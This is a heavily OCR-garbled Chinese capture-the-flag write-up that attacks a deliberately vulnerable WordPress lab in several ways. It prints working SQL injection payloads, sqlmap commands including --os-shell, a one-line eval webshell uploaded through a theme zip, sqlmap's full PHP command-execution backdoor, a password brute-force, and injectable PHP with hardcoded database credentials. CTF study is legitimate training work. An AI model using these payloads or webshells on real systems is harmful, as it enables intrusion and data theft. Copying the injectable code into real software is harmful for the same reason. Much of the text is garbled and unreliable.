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HiEEE: HERR R o FHERE: 4P
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http: /7192168 60.5/wpincludes/ 200
Rttp: //192. 16860, 5/r 200
ttp: /7192 16860 5/r 200
Rttp: /7192, 168 60, 5/1- t 200
Tittp: //192. 168,60, 5/vww. =i » 200
Rttp: //192. 165 60 5/wp-adnin/install php 200
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3.RAEIL T Bwww.zip,robots. txtZ ST 14
4. F R EAH R i W robots.txt, & B B &7 58 — AN E 8 Al fe 7 /wp-adminiX A~ H 3 T H .

User-agent: *
Disallow: /wp—admin/ #The blacksmith said the second treasure might be here
Allow: /wp-admin/admin-ajax.php
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| O flagl
<!DOCTYPE html>
<html lang="zh-CN"> [event &z) i
» <head> (=) </head>
w <body class="login js login-action-login wp-core-ui locale-zh-cn">
<script src="http://127.0.0.1/wp-includes/js/zxcvbn.min.js" typd ext/javascript” async=""></script>

» <script type="text/javascript">(-</script>
w<div id="login">
» <hl>-</hl1>
» <form id="1loginform" name="loginform" action=' /127.0.0.1/wp=1login.php" method="post">(=</form>  event
<!—flag{YOur_Are_s@_Lucky_This_1s_Fl4g}-—>

b <p id="nav">[-</p>

b <script type="text/javascript">(-</script>

» <p id="backtoblog">(--I</p>

b <div class="privacy-policy-page-1ink">(- </div>

</div>

<script id="jquery-core-js" type="text/javascript" src="http://127.0.0.1/wp-includes/js/jquery/jquery.min.js?ver=3.6.¢

<script id="jquery-migrate-js" type="text/javascript" src="http://127.0.0.1/wp-includes/js/jquery/jquery-migrate.min.j
b <script id="zxcvbn-async-js—-extra" type="text/javascript">[ </script>

. (%3]

13T FFRINI T R Iwww.zip, KIUAZ P GRS, XHIRS 4 R 18 R "flag{"¥ B &k Bldashboard.phpH - #Eflag, 1HZ
SEZSER

B dasr*oard ) wp_welcome_panel

Q, Find v flag{ 1match @ + Aa  Contains

1979 *

1980  * @since 2.5.0

1981 *x/

1982  function wp_dashboard_empty() {}

1983

1984 /%%

1985  * Displays a welcome panel to introduce users to WordPress.

1986 *

1987  * @since 3.3.0

1988 */

1989  function wp_welcome_panel() {

1990 >

1991 <div class="welcome—-panel-content">

1992 <h2><?php _e( 'FRIMREIFEHIEAFEAIEREM, INIERAMR—TELES: flag{XxX}' );
?></h2>

1993 <p class="about-description"><?php _e( 'We&#8217;ve assembled some links to
get you started:' ); ?></p>

1994 <div class="welcome-panel-column-container">

1995 <div class="welcome-panel-column">

1996 <?php if ( current_user_can( 'customize' ) ) : 2>

1997 <h3><?php _e( 'Get Started' ); ?></h3>

1998 <a class="button button-primary button-hero load-customize

hide-if-no-customize" href="<?php echo wp_customize_url();
?>"><?php _e( 'Customize Your Site' ); ?></a>
1999 <?php endif; ?>
2000 <a class="button button-primary button-hero hide-if-customize"
href="<?php echo esc_url( admin_url( 'themes.php' ) ); ?>"><?php _e(
'Customize Your Site' ); ?></a>
2001 <?php if ( current_user_can( 'install_themes' ) || ( current_user_can(
'switch_themes' ) && count( wp_get_themes( array( 'allowed' => true )
) ) >1)) 7>

2002 <?php $themes_link = current_user_can( 'customize' ) ? add_query_arg(
'autofocus[panell]', 'themes', admin_url( 'customize.php' ) )
admin_url( 'themes.php' ); ?>

2003 <p class="hide-if-no-customize">

2004 <?php

2. BATR I Z AL B Ewp-adminF, FERFTRERE H R 2 S0, BEERRANXHFEEANEHES.

} 15:05:55 on ttys@e3

:ludes % pwd
i/wordpress/wp—admin/includes
:ludes % [
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AMBELERAKEE, BRITRIRGE G MIZFE—adminf .

BT EH
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ERRRIREF! MOEsEEIfThIE AR,

ZEMLZIE, EREFRNERIEARINISA-TOREL—REREETAX MM BEERRIE—/REEFHA

.
R

P .

4. F R BRAIT 13 B A% P $R AL 6000, IR Al 7 L3k 1T 55 1 A 18k
53T HbpIEEEEFA, HHERERintruderBE TR, Holog=adminAZE, & EpwdIE AT E.

Usor options.  Laam

O8> e ] omanes

6.8 % i MR K ERATHEF, K 2pwd=x12345678 K EMEE /A —1, #HMWordPressi) f5
£ B 7] 5 x12345678.

BEEEEEE,



7.f% Fadmin/x123456 78 1T Wk, RINEF TN, REEZE =/Mlag, flag{The_c0de_1s_Open_Sesame}.

It's so nice to have you back where you belong BRIET

URE

MR PRI EAPRAORE R E ], FARIEERLIR—MELRE S flag{The_c0de_1s_Open_Sesame}
FAVES T A EHERIGHR:

FriafER T—% EZIRME

K Esons—mEx L] @ )I8
B BRI

+ HAFRE B mExs

RERED A REMGHER B ITHIXEITeIAE
B #EWA & TRESHF LB

O ENEHPHPERA v o REER

BN RIEEBT AL EMPHPARAS (5.6.30-0+deb8ul) , R H#H{TER. ARRR

A4+/2. EDHD? hid-/. T EZImILhhEE 59 {

f. [E4]

198 H e fg = BUR o MRS EE h A& sqimap, B HEANERMN ZEBIRES, £ HMiZEsqliEN.

23T FFwww.zip R BLEL B K 5411t wp-login.phpfwp_lostpassword.php =34 K15 2 H #3805 e XA —
B, R0 AT BT IXA EA ST T R

. BERR(xt FER T4 2:49 509F T AR
.| wp-login.php FER T4 2:06 PHP Sc
.. wp_lostpassword.php FER T4 1:25 PHP Sc

> 7 wp-content FER £F11:20 Mk
.| robots.txt BIR T4 11:48 SIS
... index.php 2021/12/10 T4 9:54 A05FF PHP Sc
.| wp-config.php 2021/12/10 T4 9:30 3KB PHP Sc
.. license.txt 2021/12/10 T4 9:27 20KB #hi3TA3
- readme.html 2021/12/10 T4 9:27 7KB HTMLX
.. Wp-activate.php 2021/12/10 T4 9:27 7KB PHP Sc

> 7 wp-admin 2021/12/10 T4 9:27 - Ntk
... wp-blog-header.php 2021/12/10 T4 9:27 351F% PHP Sc
. Wp-comments-post.php 2021/12/10 T4 9:27 2KB PHP Sc
... wp-config-sample.php 2021/12/10 T4 9:27 3KB PHP Sc
... wp-cron.php 2021/12/10 T4 9:27 4KB PHP Sc

> 7 wp-includes 2021/12/10 T4 9:27 - Xfxk
wn-links-onml.nhn 20211210 R4 9:27 2KB PHP Sc

SATTFBUHKRN SN, RIRA KT R it -
BERZKR:

NE! MIRRTFAEAMNMBR R, BRXESTEESTZRONWELE, (TRETUARGRF LORSERFIZ I, EERSEILT
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BRRURNFE! |

Date: 2021.12.15
From: asaotomo

4. F 75 H A BT IE # 04, K Bwp_lostpassword.php B & mysqlst k5. 5. HdE E ALK
PL K select® #)iE 4] .



18 </script>

19 <div id="login">
20 <hl><a href="https://cn.wordpress.org/">EFWordPress</a></hl>
21 <p class="message"> <?php

22 $username = $_POST['user_login'l;

23 //RBURANEF&

24 $mysql_server_name = "localhost";
25 //EEEIEERD

26 $mysgl_username = "root";

27 //FBFP&

28 $mysgl_password = "123123";

29 //HB8

30 $mysgl_database = "wordpress";

3/ TBURERRR

32 $conn = new mysqgli($mysgl_server_name, $mysdl_username, $mysql_password,
$mysql_database);

33 //HEREmysql

34 $sql = $conn->query("SELECT % FROM wp_users where user_login='{$username}'");

35/ /ENBIEEPNAFRHREES

36 $row = mysqgli_fetch_assoc($sql);

37 //BREP—T

38 if ($row > @) {

39 //HERREFE

40 $user = $rowl['user_login'];

41 echo "MF{$user}izfE, AILSHBIMHEERD! ";
42} else {

43 echo "BF{$username}F7FZE, TEEBHIE! ;
44}

45 2>

5.2 1T RMIAT WE WA HATAEFTILIE, ELBOR P RAZHSH [Susername] 5 Blselect i i& 4
HATHORPE B o 3 5b R4 o T 3 Al o LU B B4R B T TR AT R it

26 $mysql_username = "root";

Z2 [ I
° 27 //BFP&
SQLENRT 28 $mysql_password = "123123";
wp_lostpassword.php:34,100 29 //%B
30 $mysql_database = "wordpress";
0 =5 () 31 //BIRERR
32 $conn = new mysqli($mysql_server_name, $mysql_username, $mysql_password, $mysql_ddtabase);
Xt aERE 33 //MIEEEmysql

update.php:100,100 $username —> $

X5 8:"""SELECT * FROM wp_users where user_login="'<**>""""

O [ > 2N g
» REEERANE
ERITE
webshell.php:1,100 34
35 //BHBEEFNBFEHERES
ERIME 36 $row = mysqli_fetch_assoc($sql);
functions.php:5727,100 37 J/BESE—F
38 if ($row > 0) {
0 i o - 39 /IR E
. 40 $user = $row['user_login'];
BEUMARERE 41 echo "RF{suserHFiE, AMSHEHBEERTE! ";
wp_lostpassword.php:43,100
42 } else {
B (s7am) ® 43 echo "MF{$username} "Z7E, FTEEBEEB! ";
a4
45 7>

UL BN 7 T A= R 3R

6.381d 3144 “wp_lostpassword.php”, FI&1Z AN AE B BRI T, RIMNZRAEE 6 RGBS EEGET
8
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() iofER

=ioEm?

< ROEFERASTERIIFE

T RARALSEMMANAP LW RGP ER, THRATE K STHERE R B R FERT
K“wp_lostpassword.php” 324 .
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BFadminfz7E, ITUSIXBSHEEERE!

B4\ IR PR P 4R R T HRRE
admin

EE®BD

< BEFRMASNAEFNEGE

8.8 WX 1EF) 1" or sleep(5)#, /X fc WSS Ja A INETE K, B R FEIAT T IRARSS B R4 A AE R TR B VE

FRATNAFS, FAKERRRARSBES
Fi.

PR
‘admin' and sleep(5)# ’

IRENFTEED

R

€ BEFZRABLETRINGE

9. il %y \paylaod: admin’ order by 10# A4, T
admin' order by 11# %5, WHIZEFETNFBAE



W

FRARNAPSE, RARERRRANAFRERES
.

APg
‘admin' order by 10# ’

8%

¢ BEFZRABNLERILGE

FFPadminfF7E, AIMESETHEEERG!

B4\ IR P 4R R B T ARRS
admin

EE®BD

€ BEFHZRABLEFINGE



FPFPadmin' order by #7777, TTEEEHG!

BN %P P SRR R TR
admin

EERDB

« REEIZBATLEZIGHE
10.i@itpayload: 1'union select 1,2,3,4,5,6,7,8,9,10# =] UL | i B & 7B .
-

RRATNAFS, FAKERRRARFBES
FiE.

FAPE
1" union select 1,2,3,4,5,6

IRENFTEEND

R

€ BEFZRABLERINIGE

MR & mONsE — A7, IEBI AT AT ER BN .



AP2FE, S EEEEERD!

BN TR R P SRR B TR
admin

EE®D

¢ BREFIZRABLEFRILGE

12. F R A1HEpayload¥ 1’ union select 1,version(),3,4,5,6,7,8,9,10# RIhE# T ¥k FEHIRALE B .

FF5.5.54-0+deb8ul-logF7E, AJIAEK i e
FAEE®HL!

BN R P SRR B TR
admin

R P

13.4# Fpayload: 1'union select 1,database(),3,4,5,6,7,8,9,10# 25 24 iy 38 = .



FAFwordpress?Z7E, BIAEIR@IHIFfEEE S
B!

BN IR P 4R R B T ARRS
admin

€ BEFTHABLERINGE

14 5 E#ARIEXIKEflag, flag{This_1s_My_Dad_GOId_Bank} .

a.1'union select 1,(select group_concat(schema_name) from
information_schema.schemata),3,4,5,6,7,8,9,10# & £ %

\\Y

information_schema,mysq|,performance_schema,wordpress

7, ANSHETAEERG!

B4\ R R P 40 R B DR
admin

EETD

< BEFLZHARLEFINISGE

b.1' union select 1,(select group_concat(table_name) from information_schema.tables where
table_schema = ‘wordpress’),3,4,5,6,7,8,9,10# &% %



W

mF
flag,wp_commentmeta,wp_comments,wp_links,wp_options,wp_postmeta,wp_posts,wp_term_relationships,wp_term_taxonomy,wp_termmeta wp_terms,wp_usermeta,wp_users
AR B MR E B D

EB#D

< BEFRHASDAERINIGE

c.1" union select 1,(select group_concat(column_name) from information_schema.columns where
table_name = 'flag’),3,4,5,6,7,8,9,10# % 4

VWV

|EFHM@§E,EM%mﬁﬂMﬁiE§E!

BRNZEP 5 FHRFS
N
admin

EE®BD

£ SRRIBIER 2 /AN NITIE R NEE

d.7' union select 1,(select flag from flag),3,4,5,6,7,8,9,10# % flag



FAFPflag{This_1s_My_Dad_GO0Ild_Bank}{F7£, 7]
MEidEEEEERR!

5N\ P 40 9 B T R
admin

EE®D

< BEFZRABLEFIISE

15. 2RI T LA A 2% P R (1 i) sqlmapsk B 3Rt flag .
B idbpliposti& K ALRAF Furl.txt, A5 1 Fsqlmapdr &K BT sqiEN -

POST /wp_lostpassword.php HTTP/1.1

Host: 192.168.60.5

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/avif, image/webp,*/*;q=0.8
Accept-Language: zh—CN,zh;g=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,€en;q=0.2

Accept-Encoding: gzip, deflate

Referer: http://127.0.9.1/wp-login.php?action=lostpassword

Content-Type: application/x-www-form-urlencoded

Content-Length: 85

Origin: http://192.168.60.5

Connection: close

Cookie: wordpress_test cookie=WP+Cookie+check

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: same-origin

Sec-Fetch-User: 71

user_login=admin&redirect_to=8wp-submit=%E8%8E%B7%E5%8 F%I6%E6%96%BA%ES%AF%B6%E7%A0%81

u
sesssie

python3 sqglmap.py -r url.txt --batch --dbs
python3 sqlmap.py -r url.txt --batch -D wordpress --tables
python3 sqlmap.py -r url.txt --batch -D wordpress -T flag --dump



W,

FIF union select 1#7FE, FLAEETRH!

16. ZA N AT Re A8k 2 T F nmap$3 i & I EHLXT NI JE 1330635 1, B IRATRANIE 1 BodfE e 1K -5 A
S, R 75 AT DL E B A A e B T R g i i flaghe ?

BERRETER. HAEselect user,host from mysql.user;
BATRILA F rootf) i [ ALFR Alocalhost, &irrootFl ' RS2 FA i), ToikidhiTimfeidE:.

mysql> select user,host from mysql.user;

127.9.0.1
i1

ed11f485244a
debian-sys-maint | localhost
localhost

mmmmmmmmmmmmmme
6 rows in set (0.01 sec)
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1.®&MEREGRE, WRT —TFTRIEEHElag, HNTEER)E — MagilfEDebian# ik 5548 L, TRBEAE
JaE I EE R, FHREEAR Ltfwebshell,
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OO BRI ARV B M, FIATILFRLAIR-
BAVESE T LT R HEFS:

FHH1ER -
K
B E X Rk =
+
A
E
o)
BENX
ZNTHR
&
g
e SHIPHPERA (5.6.30-0+deb8ut) , RIHTE.
Demo Importer == E A=
Demo Importer WordPressHUIEFIES . BHTMRAHNPHPIEIZ TS AE IR
SIEY AERENILRHREFOLEERTL, HFNREPHPARE

Zakra 3%IN

E O EEEETE ]

Q =i a =

Twenty Nineteen — The WordPress default theme for 2019
Home About Blog Contact

Think different. —
Make different. ¢ Welcome

Digital strategy for
unique small businesses

BRBR: Zakra N webshell =00

Welcome to the Swedish
Museum of Modern Art

e works of Berthe
orisot, 1800s-era +
French painter

| I Wy IR AR
=O=E ==

SAHRBAINFIEH KRR, JERBANTE AR BRATE AT B B T 48 203Xl mU A B R ZakraE &, T H
BATIAEF b B A XA P s VRS, XA BATEL AT LB Zakra 2 ) £z B R4 il webshell K4z B



ve v e
rordpress 2/wp-content/themes

1S % |:|

| -
1
|
1
|

< themes =9 » | Q

B ~ (B AH K
... index.php 2021/12/10 F%9:27 285

2021/12/10 T4 9:27
2021/12/10 T 9:27
2021/12/10 T4 9:27

> [T twentynineteen
> [T twentytwenty
> [T twentytwentyone

> B zakra REX £ 11:00
4. FA K I zakraF £ £ —webshell.php.
[ JON ) < zakra =3 » Q
= TH = ~ | fs%E Ko i
B 2021 2BFRMIFEIE >l inc FER £ 11:00 - X%
B3 cisp-pte = index.php FEX £ 11:00 2KB PHP Script
> [ languages HEX E411:00 - Xk
B ®iXRA > ) page-templates REX L4 11:00 - Xk
B 0083 .| page.php REX £ 11:00 1KB PHP Script
.| readme.txt REX L4 11:00 19KB HAHE
B nfRRKE = screenshot.jpg FER £ 11:00 87KB JPEGE%
e =1 ... search.php FEX EF11:00 2KB PHP Script
= Desktop ..| sidebar-footer.php HEX E411:00 2KB PHP Scr?pt
..| sidebar.php FEX £ 11:00 1KB PHP Script
© T .| single.php FEX £ 11:00 917 %% PHP Script
@} giuan style-editor-block.css FEXR £ 11:00 9KB CSS
- | style-rtl.css FEX £ 11:00 56KB CSS
nER style.css FER L4 11:00 56KB CSS
- > T template-parts HEX E411:00 - Xk
R webshell.php REX L4 11:00 19F% PHP Script
i wpml-config.xml REX £ 11:00 777 F% XML Docun

5. MG RAT I R BUE K 2 MEshell, % Jphpinfo.

@ @ webshell.php

<?php phpinfo(}; ?>

6. B2 Bwebshell, {HEF FERFAEME, RATEIERMNEN P bt 2B 0T LEEV 1, TRV A
http://192.168.60.5/wp-content/themes/zakra/webshell.php. & IUAHESEZA] L], E B 3RATTHED T iR .



System Linux df696be35558 5.10.76-linuxkit #1 SMP PREEMPT Mon Nov 8 11:22:26 UTC 2021 x86_64

Build Date Feb 8 2017 08:50:48

Server API Apache 2.0 Handler

Virtual Directory Support disabled

Configuration File (php.ini) Path letc/php5/apache2

Loaded Configuration File letc/php5/apache2/php.ini

Scan this dir for additional .ini files letc/php5/apache2/conf.d

Additional .ini files parsed letc/php5/apache2/conf.d/05-opcache.ini, /etc/php5/apache2/conf.d/10-pdo.ini, /etc/php5/apache2/conf.d/20-gd.ini,

letc/php5/apache2/conf.d/20-json.ini, /etc/php5/apache2/conf.d/20-mysql.ini, /etc/php5/apache2/conf.d/20-
mysqli.ini, /etc/php5/apache2/conf.d/20-pdo_mysql.ini, /etc/php5/apache2/conf.d/20-readline.ini

PHP API 20131106

PHP Extension 20131226

Zend Extension 220131226

Zend Extension Build API220131226,NTS

PHP Extension Build API20131226,NTS

Debug Build no

Thread Safety disabled

Zend Signal Handling disabled

Zend Memory Manager enabled

Zend Multibyte Support provided by mbstring

IPv6 Support enabled

DTrace Support enabled

Registered PHP Streams https, ftps, compress.zlib, compress.bzip2, php, file, glob, data, http, ftp, phar, zip
Registered Stream Socket Transports tcp, udp, unix, udg, ssl, ssiv3, tls, tisv1.0, tisv1.1, tisv1.2

Registered Stream Filters zlib.*, bzip2.*, convert.iconv.*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed,

Annhiinl
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00 webshell.php
<?php eval($_POST['123'])|; 7>

10.8 )5 EH TR A%,
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[ zakra

>
>
>
>

TR BLBEAL th e SR B8 AR, BATER R &, B AR,

FERERTRS..
EERREA..
BirERE7FE. [var/www/html/wp-content/themes/zakra/
ZEEERE. K
E [0 FHELE
FEAFR Zakra Zakra
hRAs 2.0.7 2.0.7
& ThemeGrill ThemeGrill
FrffWordPresshR4s - -
FrE#IPHPAR A 5.6 5.6

EAEAE—MER. BREBREDIRAEBIERENY

fER" EENESRA" B SRINERRE". BUHFHRE]

12,78 # 2N 5 S 80 Fwebshell & 3 T R #4178 .



EELREG EENER: zakra.zip
EERERRES..

EEFAHRER..
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RFE  xBF= OAEEE
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URLiEHE * http://192.168.60.5/wp-content/themes/zakra/webshell.php
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WIEEE
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|} oM ~ LR CRFm AFBEFR RBEE ~

+ i var
B HAA
= bin
B boot (O etc 2021-12-10 15:1
M dev (3 home 2016-12-28 17:4
M et o b 2014-11-27 19:F
I home (O libe4 2017-02-27 18:1
b 0O media 2017-02-27 18:1
M lib64 03 mnt 2017-02-27 18:1
M media 0 opt 2017-02-27 18:1
I mnt
(O proc 2021-12-12 12:C
I opt
B proc (3 root 2021-12-10 14:F
M root (3 run 2017-03-19 23:4
B run (3 shin 2017-02-27 18:2
B sbin o srv 2017-02-27 18:1
o sy 0O sys 2021-12-12 12:C
= sys 0 tmp 2021-12-13 01:C
. tmp 0 usr 2017-02-27 18:1
I usr
0 var 2017-03-19 23:4
[ .dockeren 2021-12-10 15:1
[ flag 2021-12-12 06:1
run.sh 2017-03-20 03:C
= 4R4E: /flag
/flag
1 flag{C@ngratulatl@n_On_yQur_Graduatl@n}
2
+. B%
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wp_eptions
wp_postnata

wp_posts
wp_term_velationships
Wp_tern_tasonemy
wp_termmata

wp_terns

wp_uzernzta

wp_users

Bl Smm e s eos 92 168 60.5 92. 168.60.5 192, 168.60.5 X | E3192 168.60.5
FE MM SELECT "fleg’ FROM "flag’ ORDER BY 1 DESC LINIT 0,10
SATRET L T flag
7 infornation_schena )
[ my=al ) lagiThi=_1s My Dad G01d_Bark}
| perfornance_schens
B ) werdpress
az
id
flag
wp_conmentmeta
#p_conments
we_Llinks

~ | hfs
B B #aEs]
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BHp— enz1-12-13 +—FiE
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2.8 A ®E [E£#5] webshell L& S i /Mk AT LB [£5#84] sqliF A\ 5 shellff) 75 Ak H £ ) W 3

H 35 Awebshell.

python3 sqgqlmap.py -r url.txt --os-shell --batch

[ 1 [INFO] going to use a web backdoor for command prompt

[ 1 [INFO] fingerprinting the back-end DBMS operating system
[ 1 [INFO] the back-end DBMS operating system is Linux

which web application language does the web server support?

[1] AsSP

[2] ASPX

[3] Jsp

[4] PHP (default)

> &4

do you want sqlmap to further try to provoke the full path disclosure? [Y/n] Y

[ 11
ot

what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs, fusr/local/a
pache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default,

/srv/www/htdocs, /[usr/local/var/www') (default)

[2] custom location(s)

[3] custom directory list file
[4] brute force search

> 1

sqlmap5 A Kishell
tmpbkwpe.php
tmpututz.php
tmpusgbk.php

wp-content

A W = N = =

wp_lostpassword.php

wp-config.php

2
~

2021-12-13 10:04:07
2021-12-13 10:04:07
2021-12-13 10:02:16
2021-12-13 09:56:44
2021-12-13 08:49:59
2021-12-13 07:07:18

866 b
814 b
814 b
4 Kb
7.32 Kb
3.28 Kb

] unable to automatically retrieve the web server document ro

0755
0666
0666
0755
0644
0666



o000
« = 00127.0.0.1

0 127.0.0.1 0 127.0.0.1

M %%%8: /var/www/html/tmpbkwpe.php

/var/www/html/tmpbkwpe.php

1 <?php $c=$_REQUEST["cmd"];@set_time_limit(@);@ignore_user_abort(1l);@ini_set("max_execution_time",0);$z=@ini_get
("disable_functions");if(!lempty($z)){$z=preg_replace("/[, 1+/",',"',$2);%z=explode(",",$2);%$z=array_map("trim"
,$2);}else{$z=array();}%c=%c." 2>&1\n";function f($n){global $z;return is_callable($ndand!in_array($n,$z);}if(f
("system")){ob_start();system($c);$w=0b_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r
J,array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=Ffread($t[1],512);}@roc_close($y);}elseif(f
("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f
("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){%w.=fread($x,512);3}}@pclose($x);}elseif
(f("exec")) {$w=array();exec($c,$w); $w=join(chr(10),$w).chr(10);}else{$w=0;3}echo"<pre>$w</pre>";?>

H#EEHflag

N, FEEH

FRE S

[0 127.0.0.1 0 127.0.0.1
o T8

ChE  EER - RBEREBITF - BRE

do you want to retrieve the command standard output? [Y/n/a] Y

command standard output:

bin
boot
dev
etc
flag
home
lib
libé4
media
mnt
opt
proc
root
run
run.sh

shin

STV
sys
tmp
usr
var

os-shell> cat /flag

do you want to retrieve the command standard output? [Y/n/al Y

command standard output: '

1.RCEARETITELRER LBl dockerhub, B E I A K= ERFSA L E S Bl dokecerg 4 .

5 R 5 ¥
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#hEldockerfg

docker pull kakaxil996/acs_ctf:v5
#iz1TdockerBifR, K 755% P9 I80MN K L4t B A Hh 80 O
docker run -d -p 80:80 kakaxil996/acs_ctf:v5
#HTIF M 885 http://127.0.0. 1807

O DO 127.0.01

i m FwFELR O BN ©) KA {v} https://www.cace.or...
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Hackingclub
/=1 =1 A = BR
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®
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B2 1[.] i&% KE

BEES
737! BRR!
B ER
E—1ER
fE&admin  AFRHH 2021F12ANMA  ARERDSE  ZiTe ﬁgﬂi:lzi‘e
BREITHETER.

EBORIRGF ! FOMREPTREALE. SEMLZIE, IEREMRNHRAEAEFRNISA - OLEL—8#82 [...]

FRES

ERAEBR AN AR E BV E, B B8O ar/mww/html/wp-config.php i1 DL T Hi bl 38 47
dockerif1 a8 E ML 4 K IPHLHE .



Jvar/www/html/wp-config.php < RIFT

6 * You don't have to use the web site, you can copy this file to "wp-config.php"
7 * and fill in the values.

8 *

9 * This file contains the following configurations:

10 *

11 * * MySQL settings

12 * * Secret keys

13 * * Database table prefix

14  * * ABSPATH

15 %

16  * @link https://wordpress.org/support/article/editing-wp-config-php/
17 *

18 * @package WordPress

19 */

20

21 // ** MySQL settings - You can get this igfo f
22 /** The name of the database for WordPr
23
24 define('WP_HOME', 'http://127.0.0.1'); //WordPressithiit (URL) |
25

26 define('WP_SITEURL', 'http://127.0.0.1'); //ufi &bk
27

28 define( 'DB_NAME', 'wordpress' );

29

30 /** MySQL database username */

31 define( 'DB_USER', 'root' );

32

33 /** MySQL database password */

34 define( 'DB_PASSWORD', '123123'" );

35

ost ** //
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